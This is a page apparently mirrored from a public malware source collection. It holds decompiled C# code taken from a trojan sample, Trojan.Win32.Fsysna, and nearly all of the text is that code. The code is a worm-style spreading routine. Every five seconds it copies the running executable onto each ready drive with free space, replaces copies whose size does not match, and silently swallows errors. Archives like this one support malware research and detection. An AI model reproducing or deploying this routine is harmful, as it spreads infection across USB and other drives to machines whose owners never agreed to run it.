mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-01-28 21:15:06 +00:00
f2ac1ece55
add
60 lines
1.7 KiB
C#
60 lines
1.7 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: n.USB
|
|
// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Fsysna.wh-0adec5f2e37dcb28180512f882c1aec3a7f939bf33e4147587c7b7277719444b.exe
|
|
|
|
using Microsoft.VisualBasic;
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using System;
|
|
using System.IO;
|
|
using System.Threading;
|
|
using System.Windows.Forms;
|
|
|
|
namespace n
|
|
{
|
|
[StandardModule]
|
|
public sealed class USB
|
|
{
|
|
public static void USb(string S)
|
|
{
|
|
while (true)
|
|
{
|
|
Thread.Sleep(5000);
|
|
try
|
|
{
|
|
foreach (DriveInfo drive in DriveInfo.GetDrives())
|
|
{
|
|
if (drive.IsReady)
|
|
{
|
|
if (drive.TotalFreeSpace > 0L)
|
|
{
|
|
try
|
|
{
|
|
if (!File.Exists(drive.Name + S))
|
|
{
|
|
File.Copy(Application.ExecutablePath, drive.Name + S, true);
|
|
File.SetAttributes(drive.Name + S, FileAttributes.Normal);
|
|
}
|
|
else if (FileSystem.FileLen(drive.Name + S) != FileSystem.FileLen(Application.ExecutablePath))
|
|
File.Delete(drive.Name + S);
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|